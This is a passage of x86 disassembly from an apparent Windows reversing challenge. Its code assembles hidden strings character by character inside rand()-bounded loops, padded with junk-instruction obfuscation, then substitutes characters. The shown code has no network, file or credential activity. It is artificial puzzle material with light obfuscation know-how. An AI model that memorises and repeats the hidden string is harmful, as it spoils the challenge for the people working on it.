lea ecx, [ebp - 0x518]
call fcn.0040f630
lea ecx, [ebp - 0x530]
call fcn.0040f630
lea ecx, [ebp - 0x590]
call fcn.0040f630
lea ecx, [ebp - 0x300]
call fcn.0040f630
lea ecx, [ebp - 0x940]
call fcn.0040f630
lea ecx, [ebp - 0x5c0]
call fcn.0040f630
lea ecx, [ebp - 0x548]
call fcn.0040f630
lea ecx, [ebp - 0x2a0]
call fcn.0040f630
jmp 0x403321
push edx
and edx, eax
and edx, ecx
mov edx, 0xa4308f0
xor edx, edx
nop
pop edx
mov eax, 5
mov word [0x4203b0], ax
mov dword [ebp - 0xb8], 0
jmp 0x40389b
mov ecx, dword [ebp - 0xb8]
add ecx, 1
mov dword [ebp - 0xb8], ecx
cmp dword [ebp - 0xb8], 3
jae 0x403dc6
lea ecx, [ebp - 0x7c]
call fcn.0040ed50
cmp dword [ebp - 0xb8], 0
jne 0x403a85
mov dword [ebp - 0x24], 0
jmp 0x4038cf
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x24], edx
jge 0x403a80
cmp dword [ebp - 0x24], 3
jne 0x4038fe
push 0x6d
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 8
jne 0x403921
push 0x79
lea ecx, [ebp - 0x7c]
call fcn.00410090
push ebp
add ebp, ebp
add ebp, esp
mov ebp, 0x5c477906
or ebp, esi
nop
pop ebp
jmp 0x403a7b
cmp dword [ebp - 0x24], 9
jne 0x403936
push 0x66
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0xb
jne 0x40394b
push 0x5f
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0xf
jne 0x403960
push 0x6c
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x13
jne 0x403975
push 0x21
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x18
jne 0x403998
push 0x73
lea ecx, [ebp - 0x7c]
call fcn.00410090
push edi
and edi, eax
xor edi, edi
and edi, esp
mov edi, 0x604f20d0
nop
pop edi
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x1d
jne 0x4039ad
push 0x75
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x1f
jne 0x4039c2
push 0x70
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x21
jne 0x4039d7
push 0x6c
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x25
jne 0x4039ec
push 0x6f
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x28
jne 0x4039fe
push 0x28
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x2d
jne 0x403a10
push 0x64
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x32
jne 0x403a30
push 0x2e
lea ecx, [ebp - 0x7c]
call fcn.00410090
push eax
mov eax, 0x6cbd3530
mov eax, 0xb017217
sbb eax, esp
pop eax
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x33
jne 0x403a42
push 0x62
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x3c
jne 0x403a54
push 0x5f
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x41
jne 0x403a66
push 0x7a
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
push 0x7a
push 0x61
call fcn.00409680
add esp, 8
push eax
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x4038c6
jmp 0x403dab
cmp dword [ebp - 0xb8], 1
jne 0x403c06
push esi
xor esi, ebp
or esi, ebp
mov esi, 0x7877323c
xor esi, esi
nop
pop esi
mov dword [ebp - 0x34], 0
jmp 0x403ab2
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x34], edx
jge 0x403c01
cmp dword [ebp - 0x34], 5
jne 0x403aef
push 0x74
lea ecx, [ebp - 0x7c]
call fcn.00410090
push eax
mov eax, 0x5ba371fb
mov eax, 0x35e5305e
add eax, edx
pop eax
jmp 0x403bfc
cmp dword [ebp - 0x34], 9
jne 0x403b04
push 0x21
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0xe
jne 0x403b19
push 0x78
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x14
jne 0x403b2e
push 0x74
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x15
jne 0x403b43
push 0x75
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x17
jne 0x403b66
push 0x70
lea ecx, [ebp - 0x7c]
call fcn.00410090
push ebp
mov ebp, 0x4a137c83
or ebp, ebp
mov ebp, 0x37a6033
pop ebp
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x18
jne 0x403b7b
push 0x6c
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x1d
jne 0x403b8d
push 0x6f
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x1f
jne 0x403b9f
push 0x28
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x21
jne 0x403bb1
push 0x64
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x25
jne 0x403bc3
push 0x2e
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x28
jne 0x403bd5
push 0x75
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x2d
jne 0x403be7
push 0x73
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
push 0x7a
push 0x61
call fcn.00409680
add esp, 8
push eax
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403aa9
jmp 0x403dab
cmp dword [ebp - 0xb8], 2
jne 0x403dab
mov dword [ebp - 0x3c], 0
jmp 0x403c25
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x3c], edx
jge 0x403dab
cmp dword [ebp - 0x3c], 5
jne 0x403c54
push 0x74
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 9
jne 0x403c69
push 0x21
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0xe
jne 0x403c7e
push 0x78
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x14
jne 0x403c93
push 0x74
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x15
jne 0x403ca8
push 0x64
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x17
jne 0x403ce7
push 0x28
lea ecx, [ebp - 0x7c]
call fcn.00410090
push eax
mov eax, 0x24d51f08
sbb eax, eax
sub eax, esi
and eax, esi
nop
pop eax
push edx
xor edx, eax
sbb edx, ebx
and edx, esp
mov edx, 0x2568539e
nop
pop edx
push eax
xor eax, esi
mov eax, 0x4fbf6a71
sub eax, esi
and eax, esp
nop
pop eax
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x18
jne 0x403d0a
push 0x74
lea ecx, [ebp - 0x7c]
call fcn.00410090
push edx
mov edx, 0x45b05ba2
mov edx, 0x53f90d72
and edx, ebp
pop edx
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x1d
jne 0x403d1f
push 0x28
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x1f
jne 0x403d3f
push 0x2e
lea ecx, [ebp - 0x7c]
call fcn.00410090
push edi
and edi, ebx
and edi, ebp
mov edi, 0x72273ba1
sbb edi, ebx
nop
pop edi
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x21
jne 0x403d51
push 0x62
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x25
jne 0x403d63
push 0x5f
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x28
jne 0x403d83
push 0x7a
lea ecx, [ebp - 0x7c]
call fcn.00410090
push eax
or eax, edx
add eax, eax
mov eax, 0x2ccc1024
add eax, edi
nop
pop eax
jmp 0x403da6
push 0x7a
push 0x61
call fcn.00409680
add esp, 8
push eax
lea ecx, [ebp - 0x7c]
call fcn.00410090
push esi
mov esi, 0x4877391c
or esi, esp
and esi, eax
sbb esi, esp
nop
pop esi
jmp 0x403c1c
lea edx, [ebp - 0x7c]
push edx
mov ecx, 0x420474
call fcn.00416650
lea ecx, [ebp - 0x7c]
call fcn.0040f630
jmp 0x40388c
mov dword [ebp - 8], 0
jmp 0x403dd8
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jae 0x40486f
lea ecx, [ebp - 0xa8]
call fcn.0040ed50
cmp dword [ebp - 8], 0
jne 0x404233
push edx
add edx, esi
mov edx, 0x7f7b4bfb
and edx, edi
sbb edx, esi
nop
pop edx
mov dword [ebp - 0xc], 0
jmp 0x403e17
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xc], edx
jge 0x40422e
push edi
xor edi, ebx
mov edi, 0x68486306
add edi, esp
sub edi, esi
nop
pop edi
cmp dword [ebp - 0xc], 3
jne 0x403e74
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 8
jne 0x403ed3
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
push edi
mov edi, 0x341f733c
add edi, eax
mov edi, 0x55c54c1c
pop edi
push edi
or edi, edx
mov edi, 0x24d1153b
mov edi, 0x62d82cbd
pop edi
push ecx
xor ecx, eax
mov ecx, 0x552e221d
and ecx, eax
or ecx, esi
nop
pop ecx
jmp 0x404229
cmp dword [ebp - 0xc], 9
jne 0x403f08
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0xb
jne 0x403f3d
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0xf
jne 0x403f8e
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
push ebp
or ebp, esp
mov ebp, 0x7adb2465
mov ebp, 0x6b7f53ab
pop ebp
push edx
xor edx, ebp
xor edx, ebx
and edx, edx
mov edx, 0x6a656c9a
nop
pop edx
jmp 0x404229
cmp dword [ebp - 0xc], 0x13
jne 0x403fc3
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x18
jne 0x403ff8
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x1d
jne 0x40402d
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x1f
jne 0x404070
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
push ecx
mov ecx, 0x7921589b
sbb ecx, ebx
or ecx, esp
xor ecx, ecx
nop
pop ecx
jmp 0x404229
cmp dword [ebp - 0xc], 0x21
jne 0x4040a5
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x25
jne 0x4040da
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x28
jne 0x40410f
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x2d
jne 0x404152
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
push ebp
sub ebp, edx
and ebp, ebx
mov ebp, 0x5b9349bd
and ebp, eax
nop
pop ebp
jmp 0x404229
cmp dword [ebp - 0xc], 0x32
jne 0x404187
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x33
jne 0x4041b9
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x3c
jne 0x4041eb
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x41
jne 0x404229
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
push ebx
sbb ebx, ebx
and ebx, edx
mov ebx, 0x27442d33
sbb ebx, eax
nop
pop ebx
jmp 0x403e0e
jmp 0x404835
cmp dword [ebp - 8], 1
jne 0x404543
mov dword [ebp - 0x14], 0
jmp 0x40424f
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x14], edx
jge 0x40453e
cmp dword [ebp - 0x14], 5
jne 0x40429e
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 9
jne 0x4042e1
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
push ebx
mov ebx, 0xb120f4e
sbb ebx, edi
sub ebx, esi
and ebx, esi
nop
pop ebx
jmp 0x404539
cmp dword [ebp - 0x14], 0xe
jne 0x404316
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x14
jne 0x40434b
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x15
jne 0x404380
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x17
jne 0x4043b5
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x18
jne 0x4043f8
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
push ebx
mov ebx, 0x5d0179fa
xor ebx, esp
mov ebx, 0x75943693
pop ebx
jmp 0x404539
cmp dword [ebp - 0x14], 0x1d
jne 0x40442d
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x1f
jne 0x404462
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x21
jne 0x404497
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x25
jne 0x4044c9
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x28
jne 0x4044fb
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x2d
jne 0x404539
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
push esi
mov esi, 0x6e966e91
sbb esi, eax
mov esi, 0x2bcd69ea
pop esi
jmp 0x404246
jmp 0x404835
cmp dword [ebp - 8], 2
jne 0x404835
mov dword [ebp - 0x18], 0
jmp 0x40455f
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x18], edx
jge 0x404835
cmp dword [ebp - 0x18], 5
jne 0x4045bc
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
push edx
mov edx, 0x63291338
and edx, ebp
mov edx, 0x70c61fd4
pop edx
jmp 0x404830
cmp dword [ebp - 0x18], 9
jne 0x40460d
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
push ebp
mov ebp, 0x7b230bfa
sub ebp, eax
or ebp, eax
and ebp, edx
nop
pop ebp
push edi
and edi, esp
sbb edi, ebp
mov edi, 0x575725cb
sub edi, ebx
nop
pop edi
jmp 0x404830
cmp dword [ebp - 0x18], 0xe
jne 0x404650
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
push edi
sbb edi, esi
sbb edi, esp
mov edi, 0x755156ee
add edi, ebp
nop
pop edi
jmp 0x404830
cmp dword [ebp - 0x18], 0x14
jne 0x404685
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x15
jne 0x4046ba
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x17
jne 0x4046ef
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x18
jne 0x404724
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x1d
jne 0x404759
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x1f
jne 0x40478e
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x21
jne 0x4047c0
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x25
jne 0x4047f2
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x28
jne 0x404830
push ebx
add ebx, ebp
mov ebx, 0x2ec51945
add ebx, eax
add ebx, esi
nop
pop ebx
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404556
push edi
mov edi, 0x54d15f41
xor edi, esi
and edi, ebp
add edi, eax
nop
pop edi
lea edx, [ebp - 0xa8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fb80
lea ecx, [ebp - 0xa8]
call fcn.0040f630
jmp 0x403dcf
mov dword [ebp - 0x50], 0
jmp 0x404881
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov dword [ebp - 0x50], ecx
mov ecx, 0x420474
call fcn.00417ef0
cmp dword [ebp - 0x50], eax
jae 0x404997
mov dword [ebp - 0x5c], 0
jmp 0x4048a6
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x50]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.00417e50
cmp dword [ebp - 0x5c], eax
jae 0x404992
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x50]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
movsx eax, byte [eax]
cmp eax, 0x5f
jne 0x404911
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x50]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov byte [eax], 0x69
push ecx
mov ecx, 0x1be44e20
or ecx, ebp
or ecx, ebx
or ecx, esi
nop
pop ecx
jmp 0x40498d
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
movsx edx, byte [eax]
cmp edx, 0x21
jne 0x404950
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x50]
